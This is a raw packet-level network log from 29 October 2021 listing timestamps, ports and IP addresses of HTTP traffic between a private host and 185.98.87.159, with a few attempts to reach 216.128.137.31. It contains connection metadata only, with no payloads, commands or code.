Oct 29, 2021 15:29:51.413785934 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.413788080 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.413814068 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.413815022 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.413840055 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.413860083 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.413876057 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.413901091 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.413924932 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.413944960 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.413969040 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.413990021 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.414000988 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.414014101 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.414031029 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.414061069 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.414092064 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.430269003 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.430298090 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.430320024 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.430336952 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.430397034 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.430430889 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.430509090 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.482860088 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:53.178869009 CEST	49758	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.232942104 CEST	80	49758	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:53.233098984 CEST	49758	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.233237982 CEST	49758	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.233256102 CEST	49758	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.313034058 CEST	80	49758	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:53.313169956 CEST	49758	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.313541889 CEST	49758	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.345802069 CEST	49759	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.367052078 CEST	80	49758	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:53.397995949 CEST	80	49759	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:53.402314901 CEST	49759	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.402510881 CEST	49759	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.402755022 CEST	49759	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.454513073 CEST	80	49759	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:53.478930950 CEST	80	49759	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:53.503398895 CEST	49759	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.503679037 CEST	49759	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:53.555455923 CEST	80	49759	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:53.584017038 CEST	49760	80	192.168.2.7	216.128.137.31
Oct 29, 2021 15:29:56.664544106 CEST	49760	80	192.168.2.7	216.128.137.31
Oct 29, 2021 15:30:02.665030956 CEST	49760	80	192.168.2.7	216.128.137.31
Oct 29, 2021 15:30:06.638183117 CEST	49761	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.691416979 CEST	80	49761	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:06.691582918 CEST	49761	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.691730022 CEST	49761	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.692365885 CEST	49761	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.745018005 CEST	80	49761	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:06.745534897 CEST	80	49761	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:06.779180050 CEST	80	49761	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:06.779283047 CEST	49761	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.779578924 CEST	49761	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.813535929 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.832616091 CEST	80	49761	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:06.865065098 CEST	80	49762	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:06.865185976 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.865335941 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.865365028 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.916701078 CEST	80	49762	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:06.944742918 CEST	80	49762	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:06.944888115 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.945144892 CEST	49762	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:06.996409893 CEST	80	49762	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.443655968 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.495904922 CEST	80	49763	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.496745110 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.497453928 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.497637987 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.549700022 CEST	80	49763	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.583209991 CEST	80	49763	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.583352089 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.583420038 CEST	49763	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.615632057 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.636351109 CEST	80	49763	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.669320107 CEST	80	49765	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.669440985 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.669687986 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.669706106 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.744568110 CEST	80	49765	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.744678974 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.744762897 CEST	49765	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.786619902 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.799182892 CEST	80	49765	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.839379072 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.840382099 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.840574026 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.840599060 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.893259048 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.893965960 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.936965942 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.937000990 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.937031031 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.937062979 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.937069893 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.937093973 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.937124968 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.937159061 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.937213898 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.938941956 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.938975096 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.939004898 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.939035892 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.939052105 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.939095020 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.989782095 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.989828110 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.989855051 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.989880085 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.989907026 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.989932060 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.989933014 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.989958048 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.989984035 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.989995003 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.990025997 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.990056038 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.990082026 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.990107059 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.990132093 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.990149021 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.990200996 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.991769075 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.991801977 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.991823912 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.991847038 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.991892099 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.991908073 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.991961002 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.991983891 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.992006063 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:07.992031097 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:07.992068052 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.043375015 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043493986 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043519974 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043587923 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043612957 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.043636084 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.043638945 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043730974 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043756008 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043777943 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043804884 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043807030 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.043831110 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043849945 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.043860912 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043881893 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.043888092 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.043968916 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.043971062 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044002056 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044032097 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044054985 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044054985 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.044079065 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044111967 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.044327974 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044358015 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044383049 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044404984 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.044409037 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044423103 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.044437885 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044464111 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044473886 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.044490099 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.044537067 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.045177937 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045216084 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045247078 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045277119 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045286894 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.045332909 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.045372009 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045409918 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045433044 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045455933 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.045469046 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045501947 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045520067 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.045522928 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045547962 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045567989 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045576096 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.045619965 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.045644045 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045667887 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045687914 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045707941 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.045717955 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.045768976 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.096214056 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096250057 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096271992 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096295118 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096301079 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.096335888 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.096568108 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096592903 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096616030 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096637011 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096668005 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.096709967 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.096784115 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096807957 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096829891 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096859932 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.096863031 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.096910000 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097151995 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097210884 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097234964 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097256899 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097264051 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097301960 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097337008 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097362995 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097384930 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097403049 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097408056 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097453117 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097548008 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097574949 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097596884 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097620010 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097640038 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097667933 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097670078 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097692966 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097717047 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097739935 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097768068 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097794056 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097798109 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097816944 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097841024 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097858906 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097863913 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097887993 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097898960 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097913027 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097938061 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097960949 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.097973108 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.097985029 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098009109 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098011017 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.098032951 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098052025 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.098057032 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098082066 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098103046 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.098109961 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098133087 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098148108 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.098156929 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098335981 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098385096 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.098403931 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098429918 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098453999 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.098474026 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.098499060 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.148732901 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.148788929 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.148823023 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.148905039 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.148940086 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.148947001 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.148973942 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.148987055 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.149025917 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.149046898 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.149065018 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.149108887 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.149110079 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.150624990 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.150674105 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.150710106 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.150712013 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.150753021 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.150787115 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.150810003 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.150825977 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.150852919 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.150861979 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.150901079 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.150907993 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.150938988 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.150969028 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.150995970 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151004076 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151042938 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151043892 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151082993 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151114941 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151150942 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151173115 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151189089 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151209116 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151226044 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151262999 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151295900 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151318073 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151333094 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151352882 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151370049 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151405096 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151447058 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151452065 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151490927 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151504040 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151544094 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151578903 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151614904 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151638985 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151654005 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151675940 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151694059 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151727915 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151762962 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151786089 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151803017 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151824951 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:30:08.151839972 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151875019 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 15:30:08.151909113 CEST	80	49766	185.98.87.159	192.168.2.7
